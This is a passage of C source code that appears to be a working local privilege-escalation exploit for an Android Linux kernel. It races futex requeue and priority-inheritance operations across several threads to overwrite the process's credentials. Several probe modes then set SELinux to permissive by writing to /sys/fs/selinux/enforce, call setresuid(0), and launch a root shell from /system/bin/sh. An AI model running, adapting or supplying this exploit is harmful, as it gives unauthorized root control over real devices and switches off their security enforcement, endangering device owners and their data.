    printf("[+] requeue#2 = %d (%s)\n", r2, r2 ? strerror(-r2) : "ok");
    if (!waitms(&g_w_returned, 3000)) { printf("[!] W did not return\n"); ms(1000); return 2; }
    printf("[+] W returned ret=%d, now spinning in userspace\n", g_w_ret);

    mark("stage2-requeue2");

    /* T2's timed wait must expire so that W has no pi waiters left */
    if (!waitms(&g_t2_done, T2_TIMEOUT_MS + 3000)) {
        printf("[!] T2 did not time out\n");
        return 2;
    }
    printf("[+] T2 left M2 wait, ret=%d (%s) -> W's pi_waiters empty\n",
           g_t2_ret, g_t2_ret ? strerror(-g_t2_ret) : "ok");

    mark("t2-gone");
    g_stamp_go = 1;
    __sync_synchronize();
    if (!waitms(&g_w_stamped, 3000)) { printf("[!] W did not stamp\n"); return 2; }
    printf("[+] W stamped waiter, setsockopt ret=%d\n", g_stamp_ret);
    mark("stamped");

    /* raise H_B's priority: allowed here, RLIMIT_NICE=40 */
    {
        int r = setpriority(PRIO_PROCESS, (id_t)g_tid_hb, -10);
        printf("[+] setpriority(H_B,-10) = %d errno=%d\n", r, errno);
    }

    mark("pre-trigger");
    if (g_probe == 22 || g_probe == 23 || g_probe == 24) {
        pthread_t thP;
        prog_open();
        pthread_create(&thP, NULL, prog_thr, NULL);
        ms(120);
    }
    if (g_probe == 8 || g_probe == 11 || g_probe == 17 || g_probe == 19) {
        pthread_t thLOG;
        pthread_create(&thLOG, NULL, logger_thr, NULL);
        /* say it before the trigger: from here on main makes no syscall at all */
        printf("[+] main spinning, logger thread reports\n");
    }
    g_hb_go = 1;
    __sync_synchronize();
    if (g_probe == 22 || g_probe == 23 || g_probe == 24 || g_probe == 25 || g_probe == 26) {
        /* the last value visible to the watcher is the last syscall that made it */
        mark("L0");
        {
            /* userspace-only delay so the trigger has certainly completed */
            unsigned long d; volatile unsigned long k = 0;
            for (d = 0; d < 40000000UL; d++) k += d;
        }
        mark("L1");
        if (g_prog) g_prog[0] = 'S';
        if (g_probe == 22) {
            syscall(__NR_getpid);
            if (g_prog) g_prog[0] = 'p';
            syscall(__NR_getuid);
            if (g_prog) g_prog[0] = 'u';
            syscall(__NR_gettid);
            if (g_prog) g_prog[0] = 't';
            syscall(__NR_nanosleep, &(struct timespec){0, 1000000}, NULL);
            if (g_prog) g_prog[0] = 'n';
            syscall(__NR_write, 1, "W", 1);
            if (g_prog) g_prog[0] = 'w';
            {
                int fd = syscall(__NR_openat, AT_FDCWD, "/proc/self/status", O_RDONLY, 0);
                if (g_prog) g_prog[0] = 'o';
                if ((long)fd >= 0) syscall(__NR_close, fd);
            }
            if (g_prog) g_prog[0] = 'c';
            for (;;) { unsigned long i; volatile unsigned long k = 0;
                       for (i = 0; i < 1000000UL; i++) k += i; }
        } else if (g_probe == 26) {
            /* We are uid 0 with full caps but in the kernel domain, so file
             * writes are denied by SELinux.  If the kernel domain may still
             * write selinuxfs, this flips the whole system to permissive and
             * makes every later step possible. */
            int fd = syscall(__NR_openat, AT_FDCWD, "/sys/fs/selinux/enforce", O_WRONLY, 0);
            if (fd >= 0) {
                syscall(__NR_write, fd, "0", 1);
                syscall(__NR_close, fd);
            }
            for (;;) { unsigned long i; volatile unsigned long k = 0;
                       for (i = 0; i < 1000000UL; i++) k += i; }
        } else if (g_probe == 25) {
            /* commit_creds() has BUG_ON(task->cred != real_cred): fork() gives
             * the child a fresh cred that is both real_cred and cred, copied
             * from the swapped one, so the child may exec without tripping it. */
            long pid;
            mark("L2");
            write(1, "[25] pre-fork\n", 14);
            pid = syscall(__NR_clone, SIGCHLD, 0, 0, 0, 0);
            if (pid == 0) {
                static char *const av[] = { "sh", "-c",
                    "id; echo ---; cat /proc/self/attr/current; echo ---; grep -E 'Uid|Gid|CapEff' /proc/self/status",
                    NULL };
                static char *const ep[] = { "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
                mark("C1");
                write(1, "[25] child alive\n", 17);
                {
                    long e = syscall(__NR_execve, "/system/bin/sh", av, ep);
                    char cb[48];
                    snprintf(cb, sizeof(cb), "C2 exec=%ld errno=%d", e, errno);
                    mark(cb);
                }
                write(1, "[25] exec failed\n", 18);
            } else {
                char b[64];
                int n;
                snprintf(b, sizeof(b), "L3 pid=%ld errno=%d", pid, errno);
                mark(b);
                n = snprintf(b, sizeof(b), "[25] fork pid=%ld\n", pid);
                write(1, b, n);
            }
            for (;;) { unsigned long i; volatile unsigned long k = 0;
                       for (i = 0; i < 1000000UL; i++) k += i; }
        } else if (g_probe == 24) {
            /* commit_creds() also fixes real_cred and the gid garbage */
            syscall(__NR_setresgid, 0, 0, 0);
            if (g_prog) g_prog[0] = 'g';
            syscall(__NR_setresuid, 0, 0, 0);
            if (g_prog) g_prog[0] = 'U';
            {
                long r = syscall(__NR_setuid, 0);
                (void)r;
            }
            if (g_prog) g_prog[0] = 'V';
            {
                static char *const av[] = { "sh", "-c",
                    "id; echo ---; cat /proc/self/attr/current; echo ---; cat /proc/self/status | grep -E 'Uid|Gid'",
                    NULL };
                static char *const ep[] = { "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
                syscall(__NR_execve, "/system/bin/sh", av, ep);
            }
            if (g_prog) g_prog[0] = 'X';
            for (;;) { unsigned long i; volatile unsigned long k = 0;
                       for (i = 0; i < 1000000UL; i++) k += i; }
        } else {
            static char *const av[] = { "sh", "-c",
                "id; echo ---; cat /proc/self/attr/current; echo ---; cat /proc/self/status | grep -E 'Uid|Gid'",
                NULL };
            static char *const ep[] = { "PATH=/sbin:/system/sbin:/system/bin:/system/xbin", NULL };
            syscall(__NR_execve, "/system/bin/sh", av, ep);
            if (g_prog) g_prog[0] = 'X';
            for (;;) { unsigned long i; volatile unsigned long k = 0;
                       for (i = 0; i < 1000000UL; i++) k += i; }
        }
    }
    if (g_probe == 8 || g_probe == 11 || g_probe == 17 || g_probe == 19) {
        volatile unsigned long sink = 0;
        for (;;) { unsigned long i; for (i = 0; i < 1000000UL; i++) sink += i; }
    }
    if (g_probe == 7) {
        /* no syscall at all after the write: isolates "the cred value is
         * broken" from "some syscall path is unhappy with it" */
        volatile unsigned long sink = 0;
        char b[96];
        unsigned long i;
        for (i = 0; i < 4000000UL; i++) sink += i;
        snprintf(b, sizeof(b), "spin done euid=%d sink=%lu",
                 (int)geteuid(), (unsigned long)sink);
        mark(b);
        printf("[+] %s\n", b);
    } else {
        /* fine-grained survival marks: a panic before the check leaves the
         * last tick here, which tells us whether main or H_B died. */
        char b[96];
        int i;
        for (i = 0; i < 16; i++) {
            ms(10);
            if (g_probe == 0) { snprintf(b, sizeof(b), "t+%dms", (i + 1) * 10); mark(b); }
        }
    }
    if (!waitms(&g_hb_started, 1000)) printf("[!] H_B not started\n");
    {
        /* record the outcome before anything else can go wrong */
        char b[128];
        snprintf(b, sizeof(b), "post-trigger uid=%d euid=%d gid=%d hb_ret=%d hb_done=%d",
                 (int)getuid(), (int)geteuid(), (int)getgid(), g_hb_ret, g_hb_done);
        mark(b);
        printf("[+] %s\n", b);
    }

    if (g_probe == 1 || g_probe == 9 || g_probe == 10 || g_probe == 12 || g_probe == 13) {
        char b[64];
        char m[160];
        int fd;
        ssize_t rn = -1;
        if (g_probe == 1) {
            fd = open("/sys/fs/selinux/enforce", O_RDONLY);
            if (fd >= 0) {
                rn = read(fd, b, sizeof(b) - 1);
                if (rn > 0) { b[rn] = 0; printf("[probe] selinux enforce = %s", b); }
                close(fd);
            }
            snprintf(m, sizeof(m), "probe-enforce=%s", rn > 0 ? b : "?\n");
        } else if (g_probe == 10) {
            fd = open("/proc/sys/kernel/randomize_va_space", O_RDONLY);
            if (fd >= 0) {
                rn = read(fd, b, sizeof(b) - 1);
                if (rn > 0) { b[rn] = 0; printf("[collat] randomize_va_space = %s", b); }
                close(fd);
            }
            snprintf(m, sizeof(m), "collat-rndva=%s", rn > 0 ? b : "?\n");
        } else {
            fd = open("/proc/sys/kernel/perf_event_paranoid", O_RDONLY);
            if (fd >= 0) {
                rn = read(fd, b, sizeof(b) - 1);
                if (rn > 0) { b[rn] = 0; printf("[zero] perf_event_paranoid = %s", b); }
                close(fd);
            }
            snprintf(m, sizeof(m), "zero-paranoid=%s", rn > 0 ? b : "?\n");
        }
        mark(m);
        ms(200);
        return 0;
    }

    mark("after-write");
    {
        /* probe modes do not touch cred: show the process name so that a
         * collateral write into task_struct+0x7f0 (comm) is visible */
        char nm[17];
        memset(nm, 0, sizeof(nm));
        if (syscall(__NR_prctl, 15 /*PR_GET_NAME*/, nm) == 0) {
            char hx[64];
            int k;
            char *o = hx;
            for (k = 0; k < 8; k++) o += sprintf(o, "%02x", (unsigned char)nm[k]);
            *o = 0;
            printf("[+] comm=%s hex=%s\n", nm, hx);
        }
    }
    show_ids("after write");
    if (geteuid() == 0 || getuid() == 0) {
        printf("[+] cred write landed, we are root\n");
        if (setresgid(0, 0, 0) < 0) printf("[!] setresgid: %s\n", strerror(errno));
        if (setresuid(0, 0, 0) < 0) printf("[!] setresuid: %s\n", strerror(errno));
        show_ids("after setresuid");
        fflush(stdout);
        execl("/system/bin/sh", "sh", (char *)0);
        perror("execl sh");
        return 0;
    }
    printf("[-] no root, cred was not replaced\n");
    ms(200);
    return 3;
}